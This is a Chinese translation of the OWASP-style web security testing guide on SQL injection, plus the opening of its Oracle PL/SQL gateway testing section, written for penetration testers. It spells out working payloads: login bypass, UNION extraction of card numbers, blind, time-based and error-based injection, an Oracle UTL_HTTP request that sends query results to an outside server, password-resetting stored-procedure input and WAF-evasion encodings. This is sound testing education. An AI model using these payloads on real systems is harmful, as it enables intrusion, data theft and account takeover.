  • 识别SQL注入点。
  • 评估注入的严重程度以及通过注入可获得的访问权限级别。

测试方法

检测技术

此测试的第一步是了解应用程序何时与数据库服务器交互以访问数据。应用程序需要与数据库通信的典型场景包括:

  • 认证表单:使用Web表单进行认证时,很可能会将用户凭据与包含所有用户名和密码(或更安全的密码哈希值)的数据库进行比对。
  • 搜索引擎:用户提交的字符串可能会用于SQL查询,从数据库中提取所有相关记录。
  • 电子商务网站:产品及其特性(价格、描述、可用性等)极有可能存储在数据库中。

测试人员需列出所有其值可能用于构造SQL查询的输入字段,包括POST请求的隐藏字段,然后分别对这些字段进行测试,尝试干扰查询并引发错误。同时,也要考虑HTTP头和Cookie。

通常,首次测试是在被测试的字段或参数中添加单引号'或分号;。单引号在SQL中用作字符串终止符,如果应用程序未对其进行过滤,会导致查询错误。分号用于结束SQL语句,如果未被过滤,也很可能会引发错误。易受攻击的字段输出可能类似于以下内容(以Microsoft SQL Server为例):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113

此外,注释分隔符(如--/* */等)以及其他SQL关键字(如ANDOR)也可用于尝试修改查询。一种简单但有时仍然有效的技术是在期望输入数字的地方插入字符串,可能会产生如下错误:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

监测Web服务器的所有响应,并查看HTML/JavaScript源代码。有时错误存在于其中,但由于某些原因(如JavaScript错误、HTML注释等)未显示给用户。完整的错误消息(如上述示例中的消息)为测试人员提供了大量信息,有助于发起成功的注入攻击。然而,应用程序通常不会提供如此详细的信息,可能只会返回“500服务器错误”或自定义错误页面,这意味着我们需要使用盲注技术。无论如何,分别测试每个字段非常重要:每次只能改变一个变量,其他变量保持不变,以便准确了解哪些参数易受攻击,哪些不易受攻击。

标准SQL注入测试方法

经典SQL注入

考虑以下SQL查询:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

Web应用程序通常使用类似的查询来验证用户身份。如果查询返回值,则表示数据库中存在具有该组凭据的用户,用户将被允许登录系统,否则将被拒绝访问。输入字段的值通常通过Web表单从用户处获取。假设我们输入以下用户名和密码值:

$username = 1' or '1' = '1
$password = 1' or '1' = '1

查询将变为:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

注意:在SQL查询中注入条件“OR 1 = 1”时需谨慎。尽管在初始注入的上下文中可能无害,但应用程序通常会在多个不同的查询中使用同一请求的数据。例如,如果该条件进入了UPDATE或DELETE语句,可能会导致意外的数据丢失。

假设参数值通过GET方法发送到服务器,且易受攻击的网站域名为www.example.com,则我们将执行的请求为:

https://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

经过简单分析,我们会发现该查询会返回一个值(或一组值),因为条件始终为真(OR 1 = 1)。这样,系统在不知道用户名和密码的情况下验证了用户身份。

注意:在某些系统中,用户表的第一行可能是管理员用户。在某些情况下,可能会返回该配置文件。

另一个示例查询如下:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

在这种情况下,存在两个问题,一个是由于使用了括号,另一个是由于使用了MD5哈希函数。首先,我们解决括号的问题,只需添加一些右括号,直到得到一个正确的查询。为了解决第二个问题,我们尝试绕过第二个条件。我们在查询末尾添加一个表示注释开始的符号,这样,该符号后面的所有内容都将被视为注释。每个数据库管理系统都有自己的注释语法,但大多数数据库常用的符号是/*。在Oracle中,符号是--。因此,我们作为用户名和密码使用的值如下:

$username = 1' or '1' = '1'))/*
$password = foo

这样,我们将得到以下查询:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

(由于$username值中包含注释分隔符,查询的密码部分将被忽略。)

请求URL将为:

https://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

这可能会返回一些值。有时,认证代码会验证返回的记录/结果数量是否恰好为1。在前面的示例中,这种情况可能较难实现(数据库中每个用户只有一个值)。为了解决这个问题,只需插入一个SQL命令,强制返回的结果数量为1(返回一条记录)。为此,我们使用运算符LIMIT <num>,其中<num>是我们希望返回的结果/记录数量。对于前面的示例,用户名和密码字段的值将修改如下:

$username = 1' or '1' = '1')) LIMIT 1/*
$password = foo

这样,我们创建了如下请求:

https://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
SELECT语句

考虑以下SQL查询:

SELECT * FROM products WHERE id_product=$id_product

同时考虑执行上述查询的脚本请求:

https://www.example.com/product.php?id=10

当测试人员尝试输入有效值(如本例中的10)时,应用程序将返回产品的描述。在这种情况下,测试应用程序是否易受攻击的一个好方法是使用逻辑运算符ANDOR进行操作。

考虑以下请求:

https://www.example.com/product.php?id=10 AND 1=2

对应的查询为:

SELECT * FROM products WHERE id_product=10 AND 1=2

在这种情况下,应用程序可能会返回一条消息,提示没有可用内容或显示空白页面。然后,测试人员可以发送一个为真的语句并检查是否有有效结果:

https://www.example.com/product.php?id=10 AND 1=1
堆叠查询

根据Web应用程序使用的API和数据库管理系统(如PHP + PostgreSQL、ASP + SQL Server),有可能在一次调用中执行多个查询。

考虑以下SQL查询:

SELECT * FROM products WHERE id_product=$id_product

利用上述场景的一种方法是:

https://www.example.com/product.php?id=10; INSERT INTO users (...)

这样就可以连续执行多个查询,且这些查询与第一个查询相互独立。

数据库指纹识别

尽管SQL语言是一种标准,但每个数据库管理系统都有其独特之处,在许多方面存在差异,如特殊命令、检索用户名称和数据库等数据的函数、特性、注释行等。

当测试人员进行更高级的SQL注入利用时,需要了解后端数据库的类型。

应用程序返回的错误

确定使用的后端数据库的第一种方法是观察应用程序返回的错误。以下是一些错误消息示例:

  • MySQL
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

一个完整的带有version()UNION SELECT语句也有助于了解后端数据库:

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1
  • Oracle
ORA - 00933: SQL command not properly ended
  • MS SQL Server
Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
  • PostgreSQL
Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

如果没有错误消息或只有自定义错误消息,测试人员可以尝试使用不同的连接技术将其注入字符串字段:

  • MySQL'test' + 'ing'
  • SQL Server'test' 'ing'
  • Oracle'test'||'ing'
  • PostgreSQL'test'||'ing'

利用技术

联合利用技术

在SQL注入中,UNION运算符用于将测试人员精心构造的查询与原始查询连接起来。构造查询的结果将与原始查询的结果合并,使测试人员能够获取其他表列的值。假设服务器执行的查询如下:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

我们将设置以下$id值:

$id = 1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

我们将得到以下查询:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

这将把原始查询的结果与CreditCardTable表中的所有信用卡号合并。关键字ALL用于绕过使用关键字DISTINCT的查询。此外,我们注意到除了信用卡号之外,我们还选择了另外两个值。这两个值是必需的,因为两个查询的参数/列数必须相等,以避免语法错误。

测试人员使用此技术利用SQL注入漏洞时,首先需要确定SELECT语句中的正确列数。

为此,测试人员可以使用ORDER BY子句,后面跟着一个表示所选数据库列编号的数字:

https://www.example.com/product.php?id=10 ORDER BY 10--

如果查询成功执行,测试人员可以假设在这个例子中SELECT语句中有10列或更多列。如果查询失败,则查询返回的列数必须少于10列。如果有错误消息,可能会是:

Unknown column '10' in 'order clause'

测试人员确定列数后,下一步是确定列的类型。假设在上述示例中有3列,测试人员可以使用NULL值来尝试每种列类型:

https://www.example.com/product.php?id=10 UNION SELECT 1,null,null--

如果查询失败,测试人员可能会看到如下消息:

All cells in a column must have the same datatype

如果查询成功执行,第一列可能是整数类型。然后测试人员可以继续测试其他列:

https://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

成功收集信息后,根据应用程序的不同,可能只显示测试人员查询结果的第一行,因为应用程序只处理结果集的第一行。在这种情况下,可以使用LIMIT子句,或者测试人员可以设置一个无效值,使只有第二个查询有效(假设数据库中没有ID等于99999的条目):

https://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--
隐藏联合利用技术

当能够使用联合技术利用SQL注入时是最好的,因为可以在一次请求中检索查询结果。但实际中大多数SQL注入都是盲注。不过,你可以将其中一些转化为基于联合的注入。

识别
可以使用以下两种方法之一来识别这些SQL注入:

  1. 易受攻击的查询返回数据,但注入是盲注。
  2. ORDER BY技术有效,但无法实现基于联合的注入。

根本原因
无法使用常规联合技术的原因是易受攻击的查询过于复杂。在联合技术中,在UNION有效负载之后注释掉查询的其余部分。对于普通查询来说这没问题,但在更复杂的查询中可能会有问题。如果查询的第一部分依赖于第二部分,注释掉其余部分会破坏原始查询。

场景1
易受攻击的查询是一个子查询,父查询负责返回数据。

SELECT 
  * 
FROM 
  customers 
WHERE 
  id IN (                 --\
    SELECT                   |
      DISTINCT customer_id   |
    FROM                     |
      orders                 |--> 易受攻击的查询
    WHERE                    |
      cost > 200             |
  );                      --/
  • 问题:如果注入UNION有效负载,它不会影响返回的数据。因为你正在修改WHERE部分。实际上,你并没有将UNION查询附加到原始查询上。
  • 解决方案:你需要知道后端执行的查询。然后,根据该查询创建你的有效负载。这意味着根据需要关闭开放的括号或添加适当的关键字。

场景2
易受攻击的查询包含别名或变量声明。

SELECT 
  s1.user_id, 
  (                                                                                      --\
    CASE WHEN s2.user_id IS NOT NULL AND s2.sub_type = 'INJECTION_HERE' THEN 1 ELSE 0 END   |--> 易受攻击的查询
  ) AS overlap                                                                           --/
FROM 
  subscriptions AS s1 
  LEFT JOIN subscriptions AS s2 ON s1.user_id != s2.user_id 
  AND s1.start_date <= s2.end_date 
  AND s1.end_date >= s2.start_date 
GROUP BY 
  s1.user_id
  • 问题:当你在注入的有效负载之后注释掉原始查询的其余部分时,会破坏查询,因为一些别名或变量会变为undefined
  • 解决方案:你需要在有效负载的开头放置适当的关键字或别名。这样,原始查询的第一部分仍然有效。

场景3
易受攻击的查询的结果被用于第二个查询。第二个查询返回数据,而不是第一个查询。

<?php
// 根据产品名称检索产品ID
                            --\
$query1 = "SELECT              |
             id                |
           FROM                |
             products          |--> 易受攻击的查询 #1
           WHERE               |
             name = '$name'";  |
                            --/
$result1 = odbc_exec($conn, $query1);
// 根据产品ID检索产品的评论
                              --\
$query2 = "SELECT                |
             comments            |
           FROM                  |
             products            |--> 易受攻击的查询 #2
           WHERE                 |
             id = '$result1'";   |
                              --/
$result1 = odbc_exec($conn, $query2);
?>
  • 问题:你可以向第一个查询添加UNION有效负载,但它不会影响返回的数据。
  • 解决方案:你需要在第二个查询中注入。因此,第二个查询的输入不应被清理。然后,你需要使第一个查询不返回数据。现在,附加一个UNION查询,该查询返回你想在第二个查询中注入的有效负载。

示例
有效负载的基础(你在第一个查询中注入的内容):

' AND 1 = 2 UNION SELECT "PAYLOAD" -- -

PAYLOAD是你想在第二个查询中注入的内容:

' AND 1=2 UNION SELECT ...

最终的有效负载(替换PAYLOAD之后):

' AND 1 = 2 UNION SELECT "' AND 1=2 UNION SELECT ..." -- -
                            \________________________/
                                        ||
                                        \/
                                 要注入到第二个查询中的有效负载
  \________________________________________________________/
                              ||
                              \/
   我们注入到易受攻击参数中的实际查询

注入后第一个查询:

SELECT               --\
    id                    |
  FROM                    |----> 第一个查询
    products              |
  WHERE                   |
    name = 'abcd'      --/
    AND 1 = 2                                 --\
  UNION                                          |----> 注入的有效负载(注入到第二个有效负载中的内容)
  SELECT                                         |
    "' AND 1=2 UNION SELECT ... -- -" -- -'   --/

注入后第二个查询:

SELECT            --\
    comments           |
  FROM                 |----> 第二个查询
    products           |
  WHERE                |
    id = ''         --/
    AND 1 = 2         --\ 
  UNION                  |----> 注入的有效负载(控制返回数据的最终UNION查询)
  SELECT ... -- -'    --/

场景4
易受攻击的参数被用于几个独立的查询中。

<?php
// 根据产品ID检索产品详细信息
$query1 = "SELECT 
             name, 
             inserted, 
             size 
           FROM 
             products 
           WHERE 
             id = '$id'";
$result1 = odbc_exec($conn, $query1);
// 根据产品ID检索产品评论
$query2 = "SELECT 
             comments 
           FROM 
             products 
           WHERE 
             id = '$id'";
$result2 = odbc_exec($conn, $query2);
?>
  • 问题:将UNION查询附加到第一个(或第二个)查询不会破坏该查询,但可能会破坏另一个查询。
  • 解决方案:这取决于应用程序的代码结构。但第一步是了解原始查询。大多数情况下,这些注入是基于时间的。此外,基于时间的有效负载会注入到几个查询中,这可能会有问题。例如,如果你使用SQLMap,这种情况会使工具混淆,输出会混乱。因为延迟不会如预期那样。

提取原始查询
如你所见,要实现基于联合的注入,始终需要了解原始查询。你可以使用默认的数据库管理系统表来检索原始查询:

数据库管理系统
MySQLINFORMATION_SCHEMA.PROCESSLIST
PostgreSQLpg_stat_activity
Microsoft SQL Serversys.dm_exec_cached_plans
OracleV$SQL

自动化
自动化工作流程的步骤:

  1. 使用SQLMap和盲注提取原始查询。
  2. 根据原始查询构建基础有效负载,并实现基于联合的注入。
  3. 通过以下选项之一自动利用基于联合的注入:
    • 指定自定义注入点标记(*)。
    • 使用--prefix--suffix标志。

示例
考虑上面讨论的第三个场景。我们假设数据库管理系统是MySQL,并且第一个和第二个查询只返回一列。这可以是你用于提取数据库版本的有效负载:

' AND 1=2 UNION SELECT " ' AND 1=2 UNION SELECT @@version -- -" -- -

因此,目标URL将如下所示:

https://example.org/search?query=abcd'+AND+1=2+UNION+SELECT+"+'AND 1=2+UNION+SELECT+@@version+--+-"+--+-

自动化:

  • 自定义注入点标记(*):

    sqlmap -u "https://example.org/search?query=abcd'AND 1=2 UNION SELECT \"*\"-- -"
    
  • --prefix--suffix标志:

    sqlmap -u "https://example.org/search?query=abcd" --prefix="'AND 1=2 UNION SELECT \"" --suffix="\"-- -"
    
布尔利用技术

当测试人员遇到盲注SQL注入情况,即对操作结果一无所知时,布尔利用技术非常有用。例如,当程序员创建了一个自定义错误页面,不透露查询结构或数据库的任何信息时,就会出现这种情况。(页面可能不返回SQL错误,可能只返回HTTP 500、404或重定向)。

通过使用推理方法,可以克服这个障碍,从而成功恢复某些所需字段的值。该方法包括对服务器执行一系列布尔查询,观察响应,最后推断这些响应的含义。我们一如既往地考虑www.example.com域,并假设它包含一个名为id的易受SQL注入攻击的参数。这意味着执行以下请求时:

https://www.example.com/index.php?id=1'

我们将得到一个带有自定义错误消息的页面,这是由于查询中的语法错误导致的。假设服务器上执行的查询是:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

可以通过前面介绍的方法对其进行利用。我们想要获取的是用户名(username)字段的值。我们执行的测试将允许我们逐字符提取用户名(username)字段的值。这可以通过使用几乎每个数据库都存在的一些标准函数来实现。对于我们的示例,我们将使用以下伪函数:

  • SUBSTRING (text, start, length):返回从文本的“start”位置开始,长度为“length”的子字符串。如果“start”大于文本的长度,该函数返回空值。
  • ASCII (char):返回输入字符的ASCII值。如果字符为0,则返回空值。
  • LENGTH (text):返回输入文本的字符数。

通过这些函数,我们将对第一个字符进行测试,当发现其值后,再对第二个字符进行测试,依此类推,直到发现整个值。测试将利用SUBSTRING函数每次选择一个字符(选择单个字符意味着将长度参数设置为1),并利用ASCII函数获取ASCII值,以便进行数值比较。比较结果将与ASCII表中的所有值进行比较,直到找到正确的值。例如,我们将为Id使用以下值:

$Id = 1' OR ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

这将创建以下查询(从现在起,我们将其称为“推理查询”):

SELECT field1, field2, field3 FROM Users WHERE Id='1' OR ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

上述示例仅当用户名(username)字段的第一个字符的ASCII值等于97时才返回结果。如果我们得到一个假值,则将ASCII表的索引从97增加到98并重复请求。如果得到一个真值,则将ASCII表的索引设置为零,并分析下一个字符,修改SUBSTRING函数的参数。问题是要了解如何区分返回真值的测试和返回假值的测试。为此,我们创建一个始终返回假值的查询。这可以通过为Id使用以下值来实现:

$Id = 1' AND '1' = '2

这将创建以下查询:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

从服务器获得的响应(即HTML代码)将是我们测试的假值。这足以验证推理查询执行得到的值是否等于之前执行测试得到的值。有时,这种方法不起作用。如果服务器对两个相同的连续Web请求返回两个不同的页面,我们将无法区分真值和假值。在这些特殊情况下,需要使用特殊的过滤器,以消除两个请求之间变化的代码并获得一个模板。之后,对于执行的每个推理请求,我们将使用相同的函数从响应中提取相对模板,并对两个模板进行比较,以确定测试结果。

在前面的讨论中,我们没有涉及确定测试终止条件的问题,即何时应该结束推理过程。一种方法是利用SUBSTRING函数和LENGTH函数的一个特性。当测试将当前字符与ASCII码0(即空值)进行比较,并且测试返回真值时,要么我们已经完成了推理过程(我们已经扫描了整个字符串),要么我们分析的值包含空字符。

我们将为字段Id插入以下值:

$Id = 1' OR LENGTH(username)=N AND '1' = '1

其中N是我们到目前为止分析的字符数(不包括空值)。查询将是:

SELECT field1, field2, field3 FROM Users WHERE Id='1' OR LENGTH(username)=N AND '1' = '1'

查询返回真值或假值。如果我们得到真值,则表示我们已经完成了推理,因此知道了参数的值。如果我们得到假值,则表示参数的值中存在空字符,我们必须继续分析下一个参数,直到找到另一个空值。

盲注SQL注入攻击需要大量的查询。测试人员可能需要一个自动化工具来利用此漏洞。

基于错误的利用技术

当测试人员由于某种原因无法使用其他技术(如UNION)利用SQL注入漏洞时,基于错误的利用技术非常有用。该技术包括迫使数据库执行某些操作,其结果将是一个错误。关键在于尝试从数据库中提取一些数据,并将其显示在错误消息中。这种利用技术因数据库管理系统而异(请查看特定数据库管理系统部分)。

考虑以下SQL查询:

SELECT * FROM products WHERE id_product=$id_product

同时考虑执行上述查询的脚本请求:

https://www.example.com/product.php?id=10

恶意请求可能是(例如,Oracle 10g):

https://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

在这个例子中,测试人员将值10与UTL_INADDR.GET_HOST_NAME函数的结果连接起来。这个Oracle函数将尝试返回传递给它的参数的主机名,该参数是另一个查询,即用户的名称。当数据库查找具有用户数据库名称的主机名时,它将失败并返回一个错误消息,如:

ORA - 292257: host SCOTT unknown

然后,测试人员可以操纵传递给GET_HOST_NAME()函数的参数,结果将显示在错误消息中。

带外利用技术

当测试人员遇到盲注SQL注入情况,即对操作结果一无所知时,这种技术非常有用。该技术包括使用数据库管理系统函数进行带外连接,并将注入查询的结果作为对测试人员服务器请求的一部分发送。与基于错误的技术一样,每个数据库管理系统都有其自己的函数。请查看特定数据库管理系统部分。

考虑以下SQL查询:

SELECT * FROM products WHERE id_product=$id_product

同时考虑执行上述查询的脚本请求:

https://www.example.com/product.php?id=10

恶意请求可能是:

https://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELECT user FROM DUAL)--

在这个例子中,测试人员将值10与UTL_HTTP.request函数的结果连接起来。这个Oracle函数将尝试连接到testerserver,并进行一个包含SELECT user FROM DUAL查询返回结果的HTTP GET请求。测试人员可以设置一个Web服务器(如Apache)或使用Netcat工具:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close
时间延迟利用技术

当测试人员遇到盲注SQL注入情况,即对操作结果一无所知时,时间延迟利用技术非常有用。该技术包括发送一个注入查询,如果条件为真,测试人员可以监控服务器响应所需的时间。如果有延迟,测试人员可以假设条件查询的结果为真。这种利用技术因数据库管理系统而异(请查看特定数据库管理系统部分)。

考虑以下SQL查询:

SELECT * FROM products WHERE id_product=$id_product

同时考虑执行上述查询的脚本请求:

https://www.example.com/product.php?id=10

恶意请求可能是(例如,MySQL 5.x):

https://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

在这个例子中,测试人员正在检查MySQL版本是否为5.x,如果是,则使服务器延迟10秒响应。测试人员可以增加延迟时间并监控响应。测试人员也不需要等待响应。有时,他可以设置一个非常高的值(例如100),并在几秒钟后取消请求。

存储过程注入

在存储过程中使用动态SQL时,应用程序必须对用户输入进行适当的清理,以消除代码注入的风险。如果未进行清理,用户可以输入恶意SQL,这些SQL将在存储过程中执行。

考虑以下SQL Server存储过程:

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  =Select 1 from users
Where username =+ @username +and passwd =+ @passwd
exec(@sqlstring)
Go

用户输入:

anyusername or 1=1'
anypassword

此存储过程未对输入进行清理,因此允许返回值显示具有这些参数的现有记录。

注意:这个例子可能看起来不太可能,因为使用动态SQL来验证用户登录,但考虑一个动态报表查询,用户可以选择要查看的列。在这种情况下,用户可以插入恶意代码,从而危及数据安全。

考虑以下SQL Server存储过程:

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  =Select+ @columnamelist +from ReportTable‘
exec(@sqlstring)
Go

用户输入:

1 from users; update users set password = 'password'; select *

这将导致报表运行,并更新所有用户的密码。

自动化利用

这里介绍的大多数情况和技术都可以使用一些工具以自动化方式执行。在本文中,测试人员可以找到有关如何使用SQLMap进行自动化审计的信息。

SQL注入签名绕过技术

这些技术用于绕过诸如Web应用防火墙(WAF)或入侵防御系统(IPS)之类的防御机制。另请参考https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

空白字符

删除空格或添加不影响SQL语句的空格。例如:

or 'a'='a'

or 'a'  =    'a'

添加诸如换行符或制表符之类的特殊字符,这些字符不会改变SQL语句的执行。例如:

or
'a'=
        'a'
空字节

在过滤器阻止的任何字符之前使用空字节(%00)。

例如,如果攻击者可能注入以下SQL:

' UNION SELECT password FROM Users WHERE username='admin'--

添加空字节后将变为:

%00' UNION SELECT password FROM Users WHERE username='admin'--

SQL注释

添加SQL内联注释也可以帮助SQL语句保持有效并绕过SQL注入过滤器。以这个SQL注入为例:

' UNION SELECT password FROM Users WHERE name='admin'--

添加SQL内联注释后将变为:

'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--

'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--

URL编码

使用在线URL编码工具对SQL语句进行编码。

' UNION SELECT password FROM Users WHERE name='admin'--

该SQL注入语句的URL编码将是:

%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--

字符编码

可以使用Char()函数来替换英文字符。例如,char(114,111,111,116)表示root。

' UNION SELECT password FROM Users WHERE name='root'--

应用Char()函数后,SQL注入语句将变为:

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

字符串拼接

拼接操作会拆分SQL关键字,从而绕过过滤器。拼接语法因数据库引擎而异。以MS SQL引擎为例:

select 1

通过使用拼接操作,这个简单的SQL语句可以更改如下:

EXEC('SEL' + 'ECT 1')

十六进制编码

十六进制编码技术使用十六进制编码来替换原始SQL语句中的字符。例如,root可以表示为726F6F74

Select user from users where name = 'root'

使用十六进制值的SQL语句将是:

Select user from users where name = 726F6F74

或者

Select user from users where name = unhex('726F6F74')

声明变量

将SQL注入语句声明为一个变量并执行它。

例如,以下SQL注入语句:

Union Select password

将SQL语句定义到变量SQLivar中:

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)
'or 1 = 1’的替代表达式
OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' > 'S'
or 20 > 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1

SQL通配符注入

大多数SQL方言支持单字符通配符(通常是 “?” 或 “_”)和多字符通配符(通常是 “%” 或 “*”),这些通配符可以在使用LIKE运算符的查询中使用。即使使用了适当的控制措施(如参数化或预编译语句)来防止SQL注入攻击,也有可能将通配符注入到查询中。

例如,如果一个Web应用程序允许用户在结账过程中输入折扣代码,并使用诸如SELECT * FROM discount_codes WHERE code LIKE ':code'的查询来检查该代码是否存在于数据库中,那么输入值%(将替换:code参数)将匹配所有的折扣代码。

这种技术还可以通过越来越具体的查询(如a%b%ba%等)来确定确切的折扣代码。

修复措施

有关通用输入验证安全性,请参考输入验证备忘单

工具

参考资料

已经为以下数据库管理系统(DBMS)创建了特定技术的测试指南页面:

白皮书

产品中SQL注入漏洞的文档

测试 Oracle

概述

基于 Web 的 PL/SQL 应用程序由 PL/SQL 网关启用,该网关是将 Web 请求转换为数据库查询的组件。Oracle 开发了多种软件实现方式,从早期的 Web 监听器产品,到 Apache 的 mod_plsql 模块,再到 XML 数据库 (XDB) Web 服务器。所有这些实现都有各自的特点和问题,本章将对这些问题进行全面研究。使用 PL/SQL 网关的产品包括但不限于 Oracle HTTP 服务器、eBusiness 套件、Portal、HTMLDB、WebDB 和 Oracle 应用服务器。

如何测试

PL/SQL 网关的工作原理

本质上,PL/SQL 网关仅作为代理服务器,接收用户的 Web 请求,并将其传递给数据库服务器执行。具体步骤如下:

  1. Web 服务器接收来自 Web 客户端的请求,并确定是否应由 PL/SQL 网关处理该请求。
  2. PL/SQL 网关通过提取请求的包名、过程和变量来处理请求。
  3. 请求的包和过程被封装在一个匿名 PL/SQL 块中,并发送到数据库服务器。
  4. 数据库服务器执行该过程,并将结果以 HTML 格式返回给网关。
  5. 网关通过 Web 服务器将响应返回给客户端。

理解这一点很重要 —— PL/SQL 代码并不存在于 Web 服务器上,而是存在于数据库服务器中。这意味着,一旦 PL/SQL 网关或 PL/SQL 应用程序存在任何漏洞,攻击者就可以直接访问数据库服务器,无论设置多少防火墙都无法阻止这种情况。

PL/SQL Web 应用程序的 URL 通常很容易识别,一般以以下形式开头(xyz 可以是任何字符串,代表数据库访问描述符,后续会详细介绍):

  • https://www.example.com/pls/xyz
  • https://www.example.com/xyz/owa
  • https://www.example.com/xyz/plsql

后两个示例代表旧版本 PL/SQL 网关的 URL,第一个则是在 Apache 上运行的较新版本的 URL。在 plsql.conf Apache 配置文件中,/pls 是默认设置,指定为使用 PLS 模块作为处理程序的位置。不过,该位置不一定是 /pls。URL 中没有文件扩展名可能表示存在 Oracle PL/SQL 网关。考虑以下 URL:
https://www.server.com/aaa/bbb/xxxxx.yyyyy

如果将 xxxxx.yyyyy 替换为类似 ebank.homestore.welcomeauth.loginbooks.search 之类的内容,那么很有可能正在使用 PL/SQL 网关。也可以在请求的包和过程前面加上其所属用户的名称(即模式),例如,用户名为 webuser
https://www.server.com/pls/xyz/webuser.pkg.proc

在这个 URL 中,xyz 是数据库访问描述符(DAD)。DAD 指定了数据库服务器的相关信息,以便 PL/SQL 网关可以连接到数据库。它包含诸如 TNS 连接字符串、用户 ID 和密码、认证方法等信息。这些 DAD 在较新版本的 Apache 配置文件 dads.conf 或旧版本的 wdbsvr.app 文件中指定。一些默认的 DAD 包括:

SIMPLEDAD
HTMLDB
ORASSO
SSODAD
PORTAL
PORTAL2
PORTAL30
PORTAL30_SSO
TEST
DAD
APP
ONLINE
DB
OWA

确定 PL/SQL 网关是否正在运行

在对服务器进行评估时,首先要了解实际处理的技术。例如,在黑盒评估场景中,如果还不清楚,那么首先需要弄清楚这一点。识别基于 Web 的 PL/SQL 应用程序相当容易。首先,如前文所述,URL 的格式具有明显特征。此外,还可以进行一系列简单测试来验证 PL/SQL 网关是否存在。

服务器响应头

Web 服务器的响应头是判断服务器是否运行 PL/SQL 网关的重要指标。以下是一些典型的服务器响应头:

Oracle-Application-Server-10g
Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Oracle-Application-Server-10g/9.0.4.0.0
Oracle HTTP Server Powered by Apache
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d
Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0
Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Oracle_Web_listener3.0.2.0.0/2.14FC1
Oracle9iAS/9.0.2 Oracle HTTP Server
Oracle9iAS/9.0.3.1 Oracle HTTP Server

NULL 测试

在 PL/SQL 中,null 是一个完全合法的表达式:

SQL> BEGIN
  NULL;
  END;
  /
PL/SQL 过程已成功完成。

可以利用这一点来测试服务器是否运行 PL/SQL 网关。只需获取 DAD 并追加 NULL,然后追加 NOSUCHPROC

  • https://www.example.com/pls/dad/null
  • https://www.example.com/pls/dad/nosuchproc

如果服务器对第一个请求返回 200 OK 响应,对第二个请求返回 404 Not Found 响应,则表明服务器正在运行 PL/SQL 网关。

已知包访问

在旧版本的 PL/SQL 网关中,可以直接访问构成 PL/SQL Web 工具包的包,例如 OWA 和 HTP 包。其中一个包是 OWA_UTIL 包,后续会详细介绍。该包包含一个名为 SIGNATURE 的过程,它会以 HTML 格式输出 PL/SQL 签名。因此,请求以下 URL:
https://www.example.com/pls/dad/owa_util.signature
